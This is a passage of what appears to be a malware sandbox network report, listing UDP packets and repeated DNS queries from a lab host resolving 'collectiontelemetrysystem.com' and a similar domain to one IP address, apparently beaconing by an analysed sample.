Jun 16, 2022 20:32:27.431989908 CEST	53	55795	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:28.286056042 CEST	64635	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:28.304739952 CEST	53	64635	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:28.984703064 CEST	55269	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:29.003820896 CEST	53	55269	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:30.264560938 CEST	63083	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:30.283827066 CEST	53	63083	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:30.742605925 CEST	54726	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:30.759268999 CEST	53	54726	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:31.230202913 CEST	58394	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:31.247929096 CEST	53	58394	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:31.684864044 CEST	49775	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:31.704262018 CEST	53	49775	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:32.120824099 CEST	60195	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:32.138386965 CEST	53	60195	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:32.582632065 CEST	55197	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:32.602155924 CEST	53	55197	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:33.034784079 CEST	52252	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:33.052287102 CEST	53	52252	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:33.486543894 CEST	58819	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:33.505636930 CEST	53	58819	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:33.967999935 CEST	60697	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:33.987370968 CEST	53	60697	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:34.548208952 CEST	51966	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:34.565727949 CEST	53	51966	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:35.033169031 CEST	54306	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:35.050543070 CEST	53	54306	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:35.468383074 CEST	50062	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:35.487792015 CEST	53	50062	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:35.977193117 CEST	50869	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:35.994883060 CEST	53	50869	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:38.053042889 CEST	49767	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:38.160737038 CEST	53	49767	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:39.421336889 CEST	61481	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:39.440207005 CEST	53	61481	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:39.887130022 CEST	50386	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:39.909409046 CEST	53	50386	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:40.367188931 CEST	52857	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:40.388977051 CEST	53	52857	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:40.849575996 CEST	52983	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:40.868618011 CEST	53	52983	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:41.299140930 CEST	53654	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:41.316737890 CEST	53	53654	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:41.765383959 CEST	57813	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:41.784720898 CEST	53	57813	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:42.260510921 CEST	63863	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:42.278040886 CEST	53	63863	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:42.716646910 CEST	52372	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:42.735209942 CEST	53	52372	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:43.187263966 CEST	56636	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:43.204077959 CEST	53	56636	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:43.635761023 CEST	53384	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:43.653254986 CEST	53	53384	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:44.107306004 CEST	56049	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:44.126072884 CEST	53	56049	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:44.575520992 CEST	56714	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:44.594557047 CEST	53	56714	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:45.036533117 CEST	51073	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:45.056075096 CEST	53	51073	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:45.511917114 CEST	56239	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:45.530059099 CEST	53	56239	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:45.947298050 CEST	58753	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:45.964694977 CEST	53	58753	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:46.388706923 CEST	64733	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:46.408233881 CEST	53	64733	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:46.853763103 CEST	63591	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:46.875786066 CEST	53	63591	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 16, 2022 20:31:42.005754948 CEST	192.168.2.3	8.8.8.8	0x9d69	Standard query (0)	telemetrysystemcollection.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:07.821650028 CEST	192.168.2.3	8.8.8.8	0x65a4	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:08.550548077 CEST	192.168.2.3	8.8.8.8	0x29cc	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:09.639467955 CEST	192.168.2.3	8.8.8.8	0x40da	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:11.489603043 CEST	192.168.2.3	8.8.8.8	0x4614	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:11.989011049 CEST	192.168.2.3	8.8.8.8	0xf788	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:12.459593058 CEST	192.168.2.3	8.8.8.8	0x5861	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:13.274610043 CEST	192.168.2.3	8.8.8.8	0xc7d3	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:13.736345053 CEST	192.168.2.3	8.8.8.8	0x667e	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:14.199156046 CEST	192.168.2.3	8.8.8.8	0x699c	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:14.650424957 CEST	192.168.2.3	8.8.8.8	0x7449	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:15.096437931 CEST	192.168.2.3	8.8.8.8	0x6a9	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:15.540630102 CEST	192.168.2.3	8.8.8.8	0x9756	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:15.996021986 CEST	192.168.2.3	8.8.8.8	0x755c	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:16.762597084 CEST	192.168.2.3	8.8.8.8	0x937e	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:17.232001066 CEST	192.168.2.3	8.8.8.8	0x4db2	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:17.695430994 CEST	192.168.2.3	8.8.8.8	0x32d3	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:18.129087925 CEST	192.168.2.3	8.8.8.8	0xe36d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:18.589354038 CEST	192.168.2.3	8.8.8.8	0x6be9	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:19.056585073 CEST	192.168.2.3	8.8.8.8	0x3274	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:19.631772995 CEST	192.168.2.3	8.8.8.8	0xa724	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:20.131308079 CEST	192.168.2.3	8.8.8.8	0x3d46	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:20.586589098 CEST	192.168.2.3	8.8.8.8	0xa907	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.055042028 CEST	192.168.2.3	8.8.8.8	0xa7f6	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.505682945 CEST	192.168.2.3	8.8.8.8	0xb56d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.971693039 CEST	192.168.2.3	8.8.8.8	0x7485	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:22.476825953 CEST	192.168.2.3	8.8.8.8	0xc38b	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:22.953468084 CEST	192.168.2.3	8.8.8.8	0x2eae	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:23.437097073 CEST	192.168.2.3	8.8.8.8	0x16df	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:23.896457911 CEST	192.168.2.3	8.8.8.8	0xc65d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:24.354441881 CEST	192.168.2.3	8.8.8.8	0xdb84	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:24.779694080 CEST	192.168.2.3	8.8.8.8	0xac84	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:25.236903906 CEST	192.168.2.3	8.8.8.8	0x7ec7	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:25.698645115 CEST	192.168.2.3	8.8.8.8	0xa887	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:26.143413067 CEST	192.168.2.3	8.8.8.8	0x1172	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:26.729476929 CEST	192.168.2.3	8.8.8.8	0xee4f	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:27.413137913 CEST	192.168.2.3	8.8.8.8	0xaa6d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:28.286056042 CEST	192.168.2.3	8.8.8.8	0xf30d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:28.984703064 CEST	192.168.2.3	8.8.8.8	0x3370	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:30.264560938 CEST	192.168.2.3	8.8.8.8	0x57b9	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:30.742605925 CEST	192.168.2.3	8.8.8.8	0xd53f	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:31.230202913 CEST	192.168.2.3	8.8.8.8	0x7465	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:31.684864044 CEST	192.168.2.3	8.8.8.8	0x6ef9	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:32.120824099 CEST	192.168.2.3	8.8.8.8	0x1591	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:32.582632065 CEST	192.168.2.3	8.8.8.8	0x9ecc	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.034784079 CEST	192.168.2.3	8.8.8.8	0xf6d9	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.486543894 CEST	192.168.2.3	8.8.8.8	0x4dc1	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.967999935 CEST	192.168.2.3	8.8.8.8	0xd561	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:34.548208952 CEST	192.168.2.3	8.8.8.8	0x5284	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.033169031 CEST	192.168.2.3	8.8.8.8	0x620f	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.468383074 CEST	192.168.2.3	8.8.8.8	0x8103	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.977193117 CEST	192.168.2.3	8.8.8.8	0x9aad	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:38.053042889 CEST	192.168.2.3	8.8.8.8	0x28c1	Standard query (0)	telemetrysystemcollection.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:39.421336889 CEST	192.168.2.3	8.8.8.8	0x1807	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:39.887130022 CEST	192.168.2.3	8.8.8.8	0xfcef	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:40.367188931 CEST	192.168.2.3	8.8.8.8	0xd955	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:40.849575996 CEST	192.168.2.3	8.8.8.8	0x450e	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:41.299140930 CEST	192.168.2.3	8.8.8.8	0x22fc	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:41.765383959 CEST	192.168.2.3	8.8.8.8	0xf1fb	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:42.260510921 CEST	192.168.2.3	8.8.8.8	0x9d71	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:42.716646910 CEST	192.168.2.3	8.8.8.8	0xb67d	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:43.187263966 CEST	192.168.2.3	8.8.8.8	0xf13c	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:43.635761023 CEST	192.168.2.3	8.8.8.8	0x55ad	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:44.107306004 CEST	192.168.2.3	8.8.8.8	0x484b	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:44.575520992 CEST	192.168.2.3	8.8.8.8	0x4cd	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:45.036533117 CEST	192.168.2.3	8.8.8.8	0xe790	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:45.511917114 CEST	192.168.2.3	8.8.8.8	0xd7f4	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:45.947298050 CEST	192.168.2.3	8.8.8.8	0xfc55	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:46.388706923 CEST	192.168.2.3	8.8.8.8	0x90d8	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:46.853763103 CEST	192.168.2.3	8.8.8.8	0x19d4	Standard query (0)	collectiontelemetrysystem.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 16, 2022 20:31:42.023585081 CEST	8.8.8.8	192.168.2.3	0x9d69	No error (0)	telemetrysystemcollection.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:07.929117918 CEST	8.8.8.8	192.168.2.3	0x65a4	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:08.656764984 CEST	8.8.8.8	192.168.2.3	0x29cc	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:09.748635054 CEST	8.8.8.8	192.168.2.3	0x40da	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:11.507345915 CEST	8.8.8.8	192.168.2.3	0x4614	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:12.008183956 CEST	8.8.8.8	192.168.2.3	0xf788	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:12.772579908 CEST	8.8.8.8	192.168.2.3	0x5861	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:13.293843985 CEST	8.8.8.8	192.168.2.3	0xc7d3	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:13.753376961 CEST	8.8.8.8	192.168.2.3	0x667e	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:14.220669985 CEST	8.8.8.8	192.168.2.3	0x699c	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:14.670475960 CEST	8.8.8.8	192.168.2.3	0x7449	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:15.115787029 CEST	8.8.8.8	192.168.2.3	0x6a9	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:15.560045958 CEST	8.8.8.8	192.168.2.3	0x9756	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:16.281759024 CEST	8.8.8.8	192.168.2.3	0x755c	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:16.782018900 CEST	8.8.8.8	192.168.2.3	0x937e	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:17.249205112 CEST	8.8.8.8	192.168.2.3	0x4db2	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:17.713289976 CEST	8.8.8.8	192.168.2.3	0x32d3	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:18.146763086 CEST	8.8.8.8	192.168.2.3	0xe36d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:18.606777906 CEST	8.8.8.8	192.168.2.3	0x6be9	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:19.163522005 CEST	8.8.8.8	192.168.2.3	0x3274	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:19.651113033 CEST	8.8.8.8	192.168.2.3	0xa724	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:20.148128986 CEST	8.8.8.8	192.168.2.3	0x3d46	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:20.605931997 CEST	8.8.8.8	192.168.2.3	0xa907	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.074322939 CEST	8.8.8.8	192.168.2.3	0xa7f6	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.525166988 CEST	8.8.8.8	192.168.2.3	0xb56d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:21.990945101 CEST	8.8.8.8	192.168.2.3	0x7485	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:22.496237040 CEST	8.8.8.8	192.168.2.3	0xc38b	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:22.970168114 CEST	8.8.8.8	192.168.2.3	0x2eae	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:23.454433918 CEST	8.8.8.8	192.168.2.3	0x16df	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:23.914479017 CEST	8.8.8.8	192.168.2.3	0xc65d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:24.373804092 CEST	8.8.8.8	192.168.2.3	0xdb84	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:24.799053907 CEST	8.8.8.8	192.168.2.3	0xac84	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:25.253770113 CEST	8.8.8.8	192.168.2.3	0x7ec7	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:25.717938900 CEST	8.8.8.8	192.168.2.3	0xa887	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:26.162705898 CEST	8.8.8.8	192.168.2.3	0x1172	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:26.748861074 CEST	8.8.8.8	192.168.2.3	0xee4f	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:27.431989908 CEST	8.8.8.8	192.168.2.3	0xaa6d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:28.304739952 CEST	8.8.8.8	192.168.2.3	0xf30d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:29.003820896 CEST	8.8.8.8	192.168.2.3	0x3370	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:30.283827066 CEST	8.8.8.8	192.168.2.3	0x57b9	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:30.759268999 CEST	8.8.8.8	192.168.2.3	0xd53f	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:31.247929096 CEST	8.8.8.8	192.168.2.3	0x7465	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:31.704262018 CEST	8.8.8.8	192.168.2.3	0x6ef9	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:32.138386965 CEST	8.8.8.8	192.168.2.3	0x1591	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:32.602155924 CEST	8.8.8.8	192.168.2.3	0x9ecc	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.052287102 CEST	8.8.8.8	192.168.2.3	0xf6d9	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.505636930 CEST	8.8.8.8	192.168.2.3	0x4dc1	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:33.987370968 CEST	8.8.8.8	192.168.2.3	0xd561	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:34.565727949 CEST	8.8.8.8	192.168.2.3	0x5284	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.050543070 CEST	8.8.8.8	192.168.2.3	0x620f	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.487792015 CEST	8.8.8.8	192.168.2.3	0x8103	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:35.994883060 CEST	8.8.8.8	192.168.2.3	0x9aad	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:38.160737038 CEST	8.8.8.8	192.168.2.3	0x28c1	No error (0)	telemetrysystemcollection.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:39.440207005 CEST	8.8.8.8	192.168.2.3	0x1807	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:39.909409046 CEST	8.8.8.8	192.168.2.3	0xfcef	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:40.388977051 CEST	8.8.8.8	192.168.2.3	0xd955	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:40.868618011 CEST	8.8.8.8	192.168.2.3	0x450e	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:41.316737890 CEST	8.8.8.8	192.168.2.3	0x22fc	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:41.784720898 CEST	8.8.8.8	192.168.2.3	0xf1fb	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:42.278040886 CEST	8.8.8.8	192.168.2.3	0x9d71	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:42.735209942 CEST	8.8.8.8	192.168.2.3	0xb67d	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:43.204077959 CEST	8.8.8.8	192.168.2.3	0xf13c	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:43.653254986 CEST	8.8.8.8	192.168.2.3	0x55ad	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:44.126072884 CEST	8.8.8.8	192.168.2.3	0x484b	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:44.594557047 CEST	8.8.8.8	192.168.2.3	0x4cd	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:45.056075096 CEST	8.8.8.8	192.168.2.3	0xe790	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
Jun 16, 2022 20:32:45.530059099 CEST	8.8.8.8	192.168.2.3	0xd7f4	No error (0)	collectiontelemetrysystem.com	213.226.114.15	A (IP address)	IN (0x0001)
